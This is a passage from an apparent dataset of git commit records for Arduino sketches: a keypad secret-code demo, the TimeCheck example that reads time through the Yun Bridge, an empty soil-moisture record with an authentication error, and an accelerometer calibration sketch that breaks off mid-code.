{"commit":"70fb31169c192816ef5ea2db4a15feb7ccc35b14","subject":"Added an example program using secret codes","message":"Added an example program using secret codes\n","repos":"ymollard\/Keypad_Arduino","old_file":"examples\/KeypadPassword\/TestKeypadPassword.ino","new_file":"examples\/KeypadPassword\/TestKeypadPassword.ino","new_contents":"\/* @file TestKeypadPassword.ino\n|| @author Yoan Mollard\n|| @contact yoan.mollard@konqi.fr\n||\n|| Circuit:\n|| * 8-ohm speaker on digital pin 5\n||\n|| @description\n|| | This is a demonstration of using key codes with version 4.0\n|| |\n|| #\n*\/\n\n#include <Arduino.h>\n\n\/* Keypad version 4.0 and above only *\/\n#include <Keypad.h>\n\n\nconst byte ROWS = 4;\nconst byte COLS = 3;\n\nchar keys[ROWS][COLS] = {\n {'1','2','3'},\n {'4','5','6'},\n {'7','8','9'},\n {'*','0','#'}\n};\n\nbyte row_pins[ROWS] = { 9, 8, 7, 6 };\nbyte col_pins[COLS] = { 12, 11, 10 };\nconst byte beep_pin = 5;\n\nconst byte secret_code_length = 4;\nconst char secret_code[] = \"1234\";\nconst char secret_code2[] = \"4321\";\n\nKeypad kpd = Keypad(makeKeymap(keys), row_pins, col_pins, ROWS, COLS, secret_code_length);\nunsigned long lastPress = 0; \/\/ Warning, overflow after 50 days\n\n\/* This handler produces a short beep and stores the last key press *\/\nvoid key_event_handler(char c) {\n if(kpd.getState()==PRESSED) {\n tone(5, 600, 50);\n lastPress = millis();\n }\n}\n\nvoid setup()\n{\n \n \/* Declare the handler *\/\n kpd.addEventListener(key_event_handler);\n}\n\n\nvoid loop() {\n kpd.getKey();\n \n \/* We test the first password and produce a long sound when it is recognized *\/\n if(kpd.testCode(secret_code, secret_code_length)) {\n tone(5, 500, 500);\n kpd.resetKeysInQueue();\n }\n \/* We test the second password and produce a different long sound when it is recognized *\/\n else if(kpd.testCode(secret_code2, secret_code_length)) {\n tone(5, 300, 500);\n kpd.resetKeysInQueue();\n }\n \n \/* Below we make the password buffer expiring after 10 seconds of inactivity *\/\n if(lastPress + 10000 < millis()) {\n kpd.resetKeysInQueue();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/KeypadPassword\/TestKeypadPassword.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"97068d3de57d1610e0fdffae583cec7d55a1aa47","subject":"Added TimeCheck example to demonstrate re-use of Process","message":"Added TimeCheck example to demonstrate re-use of Process\n","repos":"arunkuttiyara\/Arduino,jomolinare\/Arduino,tannewt\/Arduino,shannonshsu\/Arduino,ogahara\/Arduino,paulmand3l\/Arduino,jabezGit\/Arduino,jaehong\/Xmegaduino,stickbreaker\/Arduino,jaimemaretoli\/Arduino,vbextreme\/Arduino,jabezGit\/Arduino,cscenter\/Arduino,byran\/Arduino,noahchense\/Arduino-1,spapadim\/Arduino,plaintea\/esp8266-Arduino,andyvand\/Arduino-1,drpjk\/Arduino,tomkrus007\/Arduino,benwolfe\/esp8266-Arduino,henningpohl\/Arduino,rcook\/DesignLab,stevemayhew\/Arduino,me-no-dev\/Arduino-1,garci66\/Arduino,zederson\/Arduino,jamesrob4\/Arduino,tommyli2014\/Arduino,leftbrainstrain\/Arduino-ESP8266,zederson\/Arduino,NaSymbol\/Arduino,paulmand3l\/Arduino,fungxu\/Arduino,kidswong999\/Arduino,laylthe\/Arduino,Protoneer\/Arduino,kidswong999\/Arduino,PaoloP74\/Arduino,Gourav2906\/Arduino,stickbreaker\/Arduino,KlaasDeNys\/Arduino,andyvand\/Arduino-1,rcook\/DesignLab,acosinwork\/Arduino,PeterVH\/Arduino,jmgonzalez00449\/Arduino,KlaasDeNys\/Arduino,bsmr-arduino\/Arduino,ektor5\/Arduino,zederson\/Arduino,niggor\/Arduino_cc,jaehong\/Xmegaduino,mateuszdw\/Arduino,paulo-raca\/ESP8266-Arduino,ssvs111\/Arduino,kidswong999\/Arduino,mboufos\/esp8266-Arduino,vbextreme\/Arduino,bsmr-arduino\/Arduino,majenkotech\/Arduino,mboufos\/esp8266-Arduino,mangelajo\/Arduino,chaveiro\/Arduino,laylthe\/Arduino,mateuszdw\/Arduino,damellis\/Arduino,shiitakeo\/Arduino,paulmand3l\/Arduino,wayoda\/Arduino,mattvenn\/Arduino,plaintea\/esp8266-Arduino,zaiexx\/Arduino,fungxu\/Arduino,chaveiro\/Arduino,karlitxo\/Arduino,kidswong999\/Arduino,NaSymbol\/Arduino,paulmand3l\/Arduino,niggor\/Arduino_cc,SmartArduino\/Arduino-1,zaiexx\/Arduino,andyvand\/Arduino-1,byran\/Arduino,plinioseniore\/Arduino,koltegirish\/Arduino,ccoenen\/Arduino,bsmr-arduino\/Arduino,ashwin713\/Arduino,Protoneer\/Arduino,Chris--A\/Arduino,ccoenen\/Arduino,stevemarple\/Arduino-org,adafruit\/ESP8266-Arduino,OpenDevice\/Arduino,Protoneer\/Arduino,KlaasDeNys\/Arduino,gurbrinder\/Arduino,plaintea\/esp8266-Arduino,stevemayhew\/Arduino,stevemarple\/Arduino-org,ThoughtWorksIoTGurgaon\/Arduino,shannonshsu\/Arduino,ssvs111\/Arduino,Cloudino\/Cloudino-Arduino-IDE,PeterVH\/Arduino,drpjk\/Arduino,byran\/Arduino,rcook\/DesignLab,PeterVH\/Arduino,bigjosh\/Arduino,drpjk\/Arduino,bigjosh\/Arduino,leftbrainstrain\/Arduino-ESP8266,wilhelmryan\/Arduino,jmgonzalez00449\/Arduino,ogferreiro\/Arduino,stickbreaker\/Arduino,wayoda\/Arduino,eggfly\/arduino,PaoloP74\/Arduino,scdls\/Arduino,fungxu\/Arduino,HCastano\/Arduino,jomolinare\/Arduino,eeijcea\/Arduino-1,sanyaade-iot\/Arduino-1,ikbelkirasan\/Arduino,tommyli2014\/Arduino,Chris--A\/Arduino,gberl001\/Arduino,NeuralSpaz\/Arduino,garci66\/Arduino,probonopd\/Arduino,ntruchsess\/Arduino-1,Cloudino\/Cloudino-Arduino-IDE,ogferreiro\/Arduino,stickbreaker\/Arduino,pdNor\/Arduino,weera00\/Arduino,tbowmo\/Arduino,wayoda\/Arduino,majenkotech\/Arduino,Cloudino\/Cloudino-Arduino-IDE,henningpohl\/Arduino,NeuralSpaz\/Arduino,gonium\/Arduino,mc-hamster\/esp8266-Arduino,Cloudino\/Arduino,ssvs111\/Arduino,stevemarple\/Arduino-org,tomkrus007\/Arduino,adamkh\/Arduino,SmartArduino\/Arduino-1,arduino-org\/Arduino,jomolinare\/Arduino,stickbreaker\/Arduino,radut\/Arduino,Chris--A\/Arduino,scdls\/Arduino,NicoHood\/Arduino,aichi\/Arduino-2,chaveiro\/Arduino,weera00\/Arduino,PaoloP74\/Arduino,zenmanenergy\/Arduino,nandojve\/Arduino,cscenter\/Arduino,superboonie\/Arduino,acosinwork\/Arduino,PaoloP74\/Arduino,lulufei\/Arduino,scdls\/Arduino,ogahara\/Arduino,stevemarple\/Arduino-org,xxxajk\/Arduino-1,ricklon\/Arduino,NicoHood\/Arduino,jomolinare\/Arduino,ForestNymph\/Arduino_sources,tannewt\/Arduino,pdNor\/Arduino,wilhelmryan\/Arduino,noahchense\/Arduino-1,koltegirish\/Arduino,pdNor\/Arduino,mangelajo\/Arduino,henningpohl\/Arduino,eddyst\/Arduino-SourceCode,fungxu\/Arduino,KlaasDeNys\/Arduino,shiitakeo\/Arduino,ektor5\/Arduino,radut\/Arduino,nkolban\/Arduino,acosinwork\/Arduino,ForestNymph\/Arduino_sources,tbowmo\/Arduino,jaehong\/Xmegaduino,HCastano\/Arduino,niggor\/Arduino_cc,eggfly\/arduino,jamesrob4\/Arduino,eeijcea\/Arduino-1,acosinwork\/Arduino,mc-hamster\/esp8266-Arduino,fungxu\/Arduino,ari-analytics\/Arduino,ogferreiro\/Arduino,talhaburak\/Arduino,shannonshsu\/Arduino,niggor\/Arduino_cc,lulufei\/Arduino,OpenDevice\/Arduino,OpenDevice\/Arduino,ricklon\/Arduino,OpenDevice\/Arduino,ektor5\/Arduino,eggfly\/arduino,tbowmo\/Arduino,mattvenn\/Arduino,wilhelmryan\/Arduino,myrtleTree33\/Arduino,nandojve\/Arduino,mateuszdw\/Arduino,onovy\/Arduino,mc-hamster\/esp8266-Arduino,wdoganowski\/Arduino,superboonie\/Arduino,onovy\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Gourav2906\/Arduino,arunkuttiyara\/Arduino,cscenter\/Arduino,nandojve\/Arduino,bigjosh\/Arduino,PaoloP74\/Arduino,shannonshsu\/Arduino,bigjosh\/Arduino,superboonie\/Arduino,bsmr-arduino\/Arduino,wilhelmryan\/Arduino,eggfly\/arduino,laylthe\/Arduino,ashwin713\/Arduino,byran\/Arduino,laylthe\/Arduino,adamkh\/Arduino,stevemayhew\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,garci66\/Arduino,tomkrus007\/Arduino,myrtleTree33\/Arduino,NaSymbol\/Arduino,smily77\/Arduino,gonium\/Arduino,gberl001\/Arduino,laylthe\/Arduino,arduino-org\/Arduino,cscenter\/Arduino,jomolinare\/Arduino,nkolban\/Arduino,xxxajk\/Arduino-1,sanyaade-iot\/Arduino-1,garci66\/Arduino,niggor\/Arduino_cc,tommyli2014\/Arduino,EmuxEvans\/Arduino,xxxajk\/Arduino-1,andyvand\/Arduino-1,niggor\/Arduino_cc,ari-analytics\/Arduino,scdls\/Arduino,KlaasDeNys\/Arduino,Alfredynho\/AgroSis,pdNor\/Arduino,damellis\/Arduino,jmgonzalez00449\/Arduino,eduardocasarin\/Arduino,paulmand3l\/Arduino,chaveiro\/Arduino,spapadim\/Arduino,onovy\/Arduino,gurbrinder\/Arduino,stevemarple\/Arduino-org,vbextreme\/Arduino,vbextreme\/Arduino,ikbelkirasan\/Arduino,zaiexx\/Arduino,SmartArduino\/Arduino-1,aichi\/Arduino-2,eggfly\/arduino,snargledorf\/Arduino,mboufos\/esp8266-Arduino,jaej-dev\/Arduino,shiitakeo\/Arduino,bigjosh\/Arduino,ntruchsess\/Arduino-1,ektor5\/Arduino,sanyaade-iot\/Arduino-1,radut\/Arduino,KlaasDeNys\/Arduino,andyvand\/Arduino-1,koltegirish\/Arduino,vbextreme\/Arduino,ektor5\/Arduino,kidswong999\/Arduino,nkolban\/Arduino,tomkrus007\/Arduino,spapadim\/Arduino,zaiexx\/Arduino,danielchalef\/Arduino,jabezGit\/Arduino,stevemarple\/Arduino-org,sanyaade-iot\/Arduino-1,adafruit\/ESP8266-Arduino,pdNor\/Arduino,byran\/Arduino,lulufei\/Arduino,Chris--A\/Arduino,stickbreaker\/Arduino,wdoganowski\/Arduino,UDOOboard\/Arduino,arduino-org\/Arduino,mattvenn\/Arduino,adafruit\/ESP8266-Arduino,radut\/Arduino,wdoganowski\/Arduino,xxxajk\/Arduino-1,tannewt\/Arduino,tbowmo\/Arduino,koltegirish\/Arduino,niggor\/Arduino_cc,acosinwork\/Arduino,raimohanska\/Arduino,Chris--A\/Arduino,weera00\/Arduino,ogferreiro\/Arduino,NeuralSpaz\/Arduino,vbextreme\/Arduino,drpjk\/Arduino,adamkh\/Arduino,PeterVH\/Arduino,arunkuttiyara\/Arduino,ccoenen\/Arduino,myrtleTree33\/Arduino,lulufei\/Arduino,gestrem\/Arduino,steamboating\/Arduino,eddyst\/Arduino-SourceCode,aichi\/Arduino-2,arduino-org\/Arduino,scdls\/Arduino,tommyli2014\/Arduino,zederson\/Arduino,wilhelmryan\/Arduino,tbowmo\/Arduino,weera00\/Arduino,tannewt\/Arduino,spapadim\/Arduino,Gourav2906\/Arduino,NaSymbol\/Arduino,tannewt\/Arduino,smily77\/Arduino,EmuxEvans\/Arduino,damellis\/Arduino,leftbrainstrain\/Arduino-ESP8266,gurbrinder\/Arduino,jamesrob4\/Arduino,jaehong\/Xmegaduino,andrealmeidadomingues\/Arduino,paulo-raca\/ESP8266-Arduino,tskurauskas\/Arduino,leftbrainstrain\/Arduino-ESP8266,ari-analytics\/Arduino,wdoganowski\/Arduino,arduino-org\/Arduino,nandojve\/Arduino,danielchalef\/Arduino,byran\/Arduino,probonopd\/Arduino,adamkh\/Arduino,eggfly\/arduino,cscenter\/Arduino,gurbrinder\/Arduino,jmgonzalez00449\/Arduino,shannonshsu\/Arduino,jmgonzalez00449\/Arduino,EmuxEvans\/Arduino,henningpohl\/Arduino,arunkuttiyara\/Arduino,eddyst\/Arduino-SourceCode,mateuszdw\/Arduino,ricklon\/Arduino,talhaburak\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,Gourav2906\/Arduino,ari-analytics\/Arduino,niggor\/Arduino_cc,ccoenen\/Arduino,mateuszdw\/Arduino,plinioseniore\/Arduino,mc-hamster\/esp8266-Arduino,toddtreece\/esp8266-Arduino,raimohanska\/Arduino,drpjk\/Arduino,danielchalef\/Arduino,raimohanska\/Arduino,mattvenn\/Arduino,sanyaade-iot\/Arduino-1,garci66\/Arduino,gestrem\/Arduino,steamboating\/Arduino,jaej-dev\/Arduino,shiitakeo\/Arduino,Protoneer\/Arduino,lukeWal\/Arduino,wilhelmryan\/Arduino,gonium\/Arduino,probonopd\/Arduino,byran\/Arduino,jabezGit\/Arduino,jmgonzalez00449\/Arduino,jaimemaretoli\/Arduino,nkolban\/Arduino,tommyli2014\/Arduino,ari-analytics\/Arduino,adamkh\/Arduino,shannonshsu\/Arduino,talhaburak\/Arduino,xxxajk\/Arduino-1,NicoHood\/Arduino,zenmanenergy\/Arduino,tskurauskas\/Arduino,NaSymbol\/Arduino,SmartArduino\/Arduino-1,karlitxo\/Arduino,ogahara\/Arduino,zenmanenergy\/Arduino,damellis\/Arduino,mattvenn\/Arduino,HCastano\/Arduino,adamkh\/Arduino,laylthe\/Arduino,snargledorf\/Arduino,ogahara\/Arduino,stevemayhew\/Arduino,jomolinare\/Arduino,ntruchsess\/Arduino-1,raimohanska\/Arduino,henningpohl\/Arduino,tannewt\/Arduino,adamkh\/Arduino,ari-analytics\/Arduino,majenkotech\/Arduino,HCastano\/Arduino,tskurauskas\/Arduino,karlitxo\/Arduino,mboufos\/esp8266-Arduino,stickbreaker\/Arduino,bigjosh\/Arduino,HCastano\/Arduino,Gourav2906\/Arduino,gurbrinder\/Arduino,tskurauskas\/Arduino,lukeWal\/Arduino,paulmand3l\/Arduino,zenmanenergy\/Arduino,jaimemaretoli\/Arduino,tbowmo\/Arduino,radut\/Arduino,weera00\/Arduino,plinioseniore\/Arduino,probonopd\/Arduino,danielchalef\/Arduino,OpenDevice\/Arduino,adamkh\/Arduino,jaimemaretoli\/Arduino,talhaburak\/Arduino,benwolfe\/esp8266-Arduino,andrealmeidadomingues\/Arduino,eduardocasarin\/Arduino,steamboating\/Arduino,UDOOboard\/Arduino,ricklon\/Arduino,jabezGit\/Arduino,ogahara\/Arduino,myrtleTree33\/Arduino,rcook\/DesignLab,Protoneer\/Arduino,me-no-dev\/Arduino-1,chaveiro\/Arduino,bigjosh\/Arduino,KlaasDeNys\/Arduino,garci66\/Arduino,superboonie\/Arduino,paulo-raca\/ESP8266-Arduino,onovy\/Arduino,nkolban\/Arduino,jaej-dev\/Arduino,arunkuttiyara\/Arduino,lukeWal\/Arduino,gberl001\/Arduino,lulufei\/Arduino,superboonie\/Arduino,rcook\/DesignLab,benwolfe\/esp8266-Arduino,radut\/Arduino,jaimemaretoli\/Arduino,smily77\/Arduino,arunkuttiyara\/Arduino,andrealmeidadomingues\/Arduino,noahchense\/Arduino-1,mangelajo\/Arduino,gestrem\/Arduino,SmartArduino\/Arduino-1,onovy\/Arduino,jamesrob4\/Arduino,jaehong\/Xmegaduino,lukeWal\/Arduino,shiitakeo\/Arduino,Cloudino\/Arduino,eduardocasarin\/Arduino,arduino-org\/Arduino,ricklon\/Arduino,jaimemaretoli\/Arduino,plaintea\/esp8266-Arduino,wayoda\/Arduino,arduino-org\/Arduino,xxxajk\/Arduino-1,ssvs111\/Arduino,ikbelkirasan\/Arduino,Alfredynho\/AgroSis,HCastano\/Arduino,steamboating\/Arduino,raimohanska\/Arduino,lukeWal\/Arduino,ikbelkirasan\/Arduino,piersoft\/esp8266-Arduino,wdoganowski\/Arduino,gurbrinder\/Arduino,NaSymbol\/Arduino,wilhelmryan\/Arduino,leftbrainstrain\/Arduino-ESP8266,talhaburak\/Arduino,HCastano\/Arduino,Cloudino\/Arduino,snargledorf\/Arduino,wayoda\/Arduino,EmuxEvans\/Arduino,zaiexx\/Arduino,mc-hamster\/esp8266-Arduino,superboonie\/Arduino,ntruchsess\/Arduino-1,piersoft\/esp8266-Arduino,wayoda\/Arduino,myrtleTree33\/Arduino,UDOOboard\/Arduino,lukeWal\/Arduino,raimohanska\/Arduino,ikbelkirasan\/Arduino,ogahara\/Arduino,rcook\/DesignLab,ssvs111\/Arduino,wdoganowski\/Arduino,plinioseniore\/Arduino,jabezGit\/Arduino,tomkrus007\/Arduino,garci66\/Arduino,zederson\/Arduino,eduardocasarin\/Arduino,paulo-raca\/ESP8266-Arduino,gestrem\/Arduino,Gourav2906\/Arduino,UDOOboard\/Arduino,andyvand\/Arduino-1,radut\/Arduino,chaveiro\/Arduino,mangelajo\/Arduino,ikbelkirasan\/Arduino,probonopd\/Arduino,zenmanenergy\/Arduino,Alfredynho\/AgroSis,lukeWal\/Arduino,NeuralSpaz\/Arduino,Protoneer\/Arduino,gestrem\/Arduino,majenkotech\/Arduino,Alfredynho\/AgroSis,ashwin713\/Arduino,kidswong999\/Arduino,ashwin713\/Arduino,UDOOboard\/Arduino,smily77\/Arduino,snargledorf\/Arduino,tskurauskas\/Arduino,Gourav2906\/Arduino,tomkrus007\/Arduino,piersoft\/esp8266-Arduino,jaej-dev\/Arduino,cscenter\/Arduino,drpjk\/Arduino,eduardocasarin\/Arduino,Alfredynho\/AgroSis,henningpohl\/Arduino,NicoHood\/Arduino,lukeWal\/Arduino,nandojve\/Arduino,tbowmo\/Arduino,zederson\/Arduino,aichi\/Arduino-2,gestrem\/Arduino,me-no-dev\/Arduino-1,piersoft\/esp8266-Arduino,gurbrinder\/Arduino,eggfly\/arduino,jaej-dev\/Arduino,Chris--A\/Arduino,fungxu\/Arduino,benwolfe\/esp8266-Arduino,bsmr-arduino\/Arduino,nkolban\/Arduino,eeijcea\/Arduino-1,Alfredynho\/AgroSis,mateuszdw\/Arduino,tskurauskas\/Arduino,bsmr-arduino\/Arduino,talhaburak\/Arduino,zaiexx\/Arduino,eggfly\/arduino,ThoughtWorksIoTGurgaon\/Arduino,jaimemaretoli\/Arduino,toddtreece\/esp8266-Arduino,myrtleTree33\/Arduino,wdoganowski\/Arduino,ForestNymph\/Arduino_sources,karlitxo\/Arduino,smily77\/Arduino,EmuxEvans\/Arduino,ektor5\/Arduino,tskurauskas\/Arduino,gestrem\/Arduino,ashwin713\/Arduino,andrealmeidadomingues\/Arduino,mangelajo\/Arduino,gberl001\/Arduino,stevemayhew\/Arduino,ari-analytics\/Arduino,NicoHood\/Arduino,pdNor\/Arduino,lulufei\/Arduino,eeijcea\/Arduino-1,bigjosh\/Arduino,ikbelkirasan\/Arduino,NeuralSpaz\/Arduino,danielchalef\/Arduino,andrealmeidadomingues\/Arduino,cscenter\/Arduino,sanyaade-iot\/Arduino-1,ForestNymph\/Arduino_sources,nandojve\/Arduino,arunkuttiyara\/Arduino,mateuszdw\/Arduino,ricklon\/Arduino,mattvenn\/Arduino,smily77\/Arduino,damellis\/Arduino,zenmanenergy\/Arduino,jaehong\/Xmegaduino,cscenter\/Arduino,stevemarple\/Arduino-org,gonium\/Arduino,pdNor\/Arduino,noahchense\/Arduino-1,me-no-dev\/Arduino-1,steamboating\/Arduino,eddyst\/Arduino-SourceCode,probonopd\/Arduino,scdls\/Arduino,SmartArduino\/Arduino-1,me-no-dev\/Arduino-1,myrtleTree33\/Arduino,adafruit\/ESP8266-Arduino,plinioseniore\/Arduino,ntruchsess\/Arduino-1,koltegirish\/Arduino,wayoda\/Arduino,NeuralSpaz\/Arduino,tomkrus007\/Arduino,Cloudino\/Arduino,NicoHood\/Arduino,mangelajo\/Arduino,UDOOboard\/Arduino,danielchalef\/Arduino,PaoloP74\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,niggor\/Arduino_cc,shiitakeo\/Arduino,jamesrob4\/Arduino,KlaasDeNys\/Arduino,Cloudino\/Cloudino-Arduino-IDE,snargledorf\/Arduino,NicoHood\/Arduino,ogferreiro\/Arduino,rcook\/DesignLab,ashwin713\/Arduino,adafruit\/ESP8266-Arduino,piersoft\/esp8266-Arduino,PeterVH\/Arduino,gonium\/Arduino,plaintea\/esp8266-Arduino,ccoenen\/Arduino,ogahara\/Arduino,jabezGit\/Arduino,weera00\/Arduino,mboufos\/esp8266-Arduino,jmgonzalez00449\/Arduino,garci66\/Arduino,drpjk\/Arduino,EmuxEvans\/Arduino,steamboating\/Arduino,karlitxo\/Arduino,superboonie\/Arduino,noahchense\/Arduino-1,ashwin713\/Arduino,chaveiro\/Arduino,OpenDevice\/Arduino,eeijcea\/Arduino-1,majenkotech\/Arduino,noahchense\/Arduino-1,probonopd\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,laylthe\/Arduino,jaehong\/Xmegaduino,kidswong999\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,andrealmeidadomingues\/Arduino,Cloudino\/Cloudino-Arduino-IDE,ForestNymph\/Arduino_sources,Protoneer\/Arduino,NeuralSpaz\/Arduino,wayoda\/Arduino,leftbrainstrain\/Arduino-ESP8266,Cloudino\/Arduino,Cloudino\/Cloudino-Arduino-IDE,benwolfe\/esp8266-Arduino,koltegirish\/Arduino,fungxu\/Arduino,tannewt\/Arduino,NaSymbol\/Arduino,Chris--A\/Arduino,henningpohl\/Arduino,talhaburak\/Arduino,jamesrob4\/Arduino,paulo-raca\/ESP8266-Arduino,PeterVH\/Arduino,HCastano\/Arduino,weera00\/Arduino,eddyst\/Arduino-SourceCode,ForestNymph\/Arduino_sources,shiitakeo\/Arduino,scdls\/Arduino,UDOOboard\/Arduino,spapadim\/Arduino,zederson\/Arduino,EmuxEvans\/Arduino,vbextreme\/Arduino,andrealmeidadomingues\/Arduino,aichi\/Arduino-2,SmartArduino\/Arduino-1,onovy\/Arduino,stevemayhew\/Arduino,gberl001\/Arduino,tskurauskas\/Arduino,stevemayhew\/Arduino,mangelajo\/Arduino,eddyst\/Arduino-SourceCode,ntruchsess\/Arduino-1,bsmr-arduino\/Arduino,karlitxo\/Arduino,steamboating\/Arduino,shannonshsu\/Arduino,Alfredynho\/AgroSis,ThoughtWorksIoTGurgaon\/Arduino,ForestNymph\/Arduino_sources,spapadim\/Arduino,lulufei\/Arduino,me-no-dev\/Arduino-1,eeijcea\/Arduino-1,Gourav2906\/Arduino,xxxajk\/Arduino-1,ikbelkirasan\/Arduino,acosinwork\/Arduino,zaiexx\/Arduino,ntruchsess\/Arduino-1,majenkotech\/Arduino,ari-analytics\/Arduino,smily77\/Arduino,tbowmo\/Arduino,toddtreece\/esp8266-Arduino,koltegirish\/Arduino,bsmr-arduino\/Arduino,ccoenen\/Arduino,ssvs111\/Arduino,noahchense\/Arduino-1,chaveiro\/Arduino,PeterVH\/Arduino,nkolban\/Arduino,nandojve\/Arduino,jmgonzalez00449\/Arduino,onovy\/Arduino,tommyli2014\/Arduino,ashwin713\/Arduino,gberl001\/Arduino,me-no-dev\/Arduino-1,paulmand3l\/Arduino,jaej-dev\/Arduino,tomkrus007\/Arduino,gonium\/Arduino,acosinwork\/Arduino,jabezGit\/Arduino,xxxajk\/Arduino-1,PaoloP74\/Arduino,karlitxo\/Arduino,jaej-dev\/Arduino,damellis\/Arduino,andyvand\/Arduino-1,ogferreiro\/Arduino,nandojve\/Arduino,majenkotech\/Arduino,stevemarple\/Arduino-org,eddyst\/Arduino-SourceCode,gberl001\/Arduino,damellis\/Arduino,ccoenen\/Arduino,pdNor\/Arduino,acosinwork\/Arduino,superboonie\/Arduino,Cloudino\/Arduino,leftbrainstrain\/Arduino-ESP8266,plinioseniore\/Arduino,ntruchsess\/Arduino-1,adafruit\/ESP8266-Arduino,ssvs111\/Arduino,spapadim\/Arduino,jaimemaretoli\/Arduino,OpenDevice\/Arduino,NicoHood\/Arduino,plinioseniore\/Arduino,Chris--A\/Arduino,jamesrob4\/Arduino,me-no-dev\/Arduino-1,PaoloP74\/Arduino,talhaburak\/Arduino,tommyli2014\/Arduino,PeterVH\/Arduino,NaSymbol\/Arduino,paulo-raca\/ESP8266-Arduino,eeijcea\/Arduino-1,eduardocasarin\/Arduino,aichi\/Arduino-2,adafruit\/ESP8266-Arduino,paulo-raca\/ESP8266-Arduino,sanyaade-iot\/Arduino-1,zaiexx\/Arduino,aichi\/Arduino-2,vbextreme\/Arduino,eddyst\/Arduino-SourceCode,ricklon\/Arduino,zenmanenergy\/Arduino,stevemayhew\/Arduino,byran\/Arduino,henningpohl\/Arduino,kidswong999\/Arduino,eduardocasarin\/Arduino,arduino-org\/Arduino,ogferreiro\/Arduino,shannonshsu\/Arduino,gonium\/Arduino,raimohanska\/Arduino,ccoenen\/Arduino,Cloudino\/Arduino,snargledorf\/Arduino,danielchalef\/Arduino,jomolinare\/Arduino,snargledorf\/Arduino,mattvenn\/Arduino","old_file":"hardware\/arduino\/avr\/libraries\/Bridge\/examples\/TimeCheck\/TimeCheck.ino","new_file":"hardware\/arduino\/avr\/libraries\/Bridge\/examples\/TimeCheck\/TimeCheck.ino","new_contents":"\n\/*\n Time Check \n \n Gets the time from the linino processor via Bridge\n then parses out hours, minutes and seconds for the Arduino\n using an Arduino Yun. \n \n created 27 May 2013\n By Tom Igoe \n *\/\n\n\n#include <Process.h>\n\nProcess date; \/\/ process used to get the date\nint hours, minutes, seconds; \/\/ for the results\nint lastSecond = -1; \/\/ need an impossible value for comparison\n\nvoid setup() {\n Serial.begin(9600); \/\/ initialize serial\n Bridge.begin(); \/\/ initialize Bridge\n delay(2000); \/\/ wait 2 seconds\n\n while(!Serial); \/\/ wait for Serial Monitor to open\n Serial.println(\"Time Check\"); \/\/ Title of sketch\n\n \/\/ run an initial date process. Should return:\n \/\/ hh:mm:ss :\n if (!date.running()) {\n date.begin(\"date\");\n date.addParameter(\"+%T\");\n date.run();\n }\n}\n\nvoid loop() {\n\n if(lastSecond != seconds) { \/\/ if a second has passed\n \/\/ print the time:\n if (hours <= 9) Serial.print(\"0\"); \/\/ adjust for 0-9\n Serial.print(hours); \n Serial.print(\":\");\n if (minutes <= 9) Serial.print(\"0\"); \/\/ adjust for 0-9\n Serial.print(minutes);\n Serial.print(\":\");\n if (seconds <= 9) Serial.print(\"0\"); \/\/ adjust for 0-9\n Serial.println(seconds);\n\n \/\/ restart the date process:\n if (!date.running()) {\n date.begin(\"date\");\n date.addParameter(\"+%T\");\n date.run();\n }\n }\n\n \/\/if there's a result from the date process, parse it:\n while (date.available()>0) {\n \/\/ get the result of the date process (should be hh:mm:ss):\n String timeString = date.readString(); \n\n \/\/ find the colons:\n int firstColon = timeString.indexOf(\":\");\n int secondColon= timeString.lastIndexOf(\":\");\n\n \/\/ get the substrings for hour, minute second:\n String hourString = timeString.substring(0, firstColon); \n String minString = timeString.substring(firstColon+1, secondColon);\n String secString = timeString.substring(secondColon+1);\n\n \/\/ convert to ints,saving the previous second:\n hours = hourString.toInt();\n minutes = minString.toInt();\n lastSecond = seconds; \/\/ save to do a time comparison\n seconds = secString.toInt();\n\n \/*\n NOTE: If the parseInt() and parseFloar() methods from Stream \n were included with Process, this would be simpler:\n \n hours = date.parseInt();\n minutes = date.parseInt();\n seconds = date.parseInt();\n \n *\/\n } \n\n}\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/arduino\/avr\/libraries\/Bridge\/examples\/TimeCheck\/TimeCheck.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"33bccfbf6ee3d385e0bd88f836c04224859ba406","subject":"Issue #3 Unstable conditions","message":"Issue #3 Unstable conditions\n\nConditions stable.\n\nThe runtime recovers the same state that had before the test condition,\nincluding the minimum soil moisture level when the condition was\n\u201ccustom soil moisture level\u201d.\n","repos":"franciscoalario\/GoldenAnt,franciscoalario\/GoldenAnt,franciscoalario\/GoldenAnt","old_file":"soil_moisture\/soil_moisture.ino","new_file":"soil_moisture\/soil_moisture.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/franciscoalario\/GoldenAnt.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8c5f67ea3641c99004e9ba8ecd2adb50eb98d63b","subject":"Create ADXL335Test.ino","message":"Create ADXL335Test.ino","repos":"KitWallace\/CitizenSense","old_file":"ESP8266-code\/ADXL335Test.ino","new_file":"ESP8266-code\/ADXL335Test.ino","new_contents":"#include <Wire.h>\n#include <Adafruit_ADS1015.h>\n\nAdafruit_ADS1115 ads; \/* Use this for the 16-bit version *\/\n\nconst int calibratePin = D5;\n \n\/\/ Raw Ranges:\n\/\/ initialize to first reading and allow calibration to\n\/\/ find the minimum and maximum for each axis\nint xRawMin,xRawMax,yRawMin,yRawMax,zRawMin,zRawMax;\n \n\/\/ Take multiple samples to reduce noise when calibrating\nconst int sampleSize = 10;\n\nconst int intervalms = 2000;\n\nvoid setup() \n{\n Serial.begin(9600);\n\n ads.setGain(GAIN_ONE); \n Serial.println(String(\"gain = \") + ads.getGain());\n ads.begin();\n delay(1000);\n\n\/\/ initialize to saved limits\n if (digitalRead(calibratePin) == LOW)\n setInitialLimits();\n else setStoredLimits();\n}\n \nvoid loop() \n{\n int xRaw = readAxis(0);\n int 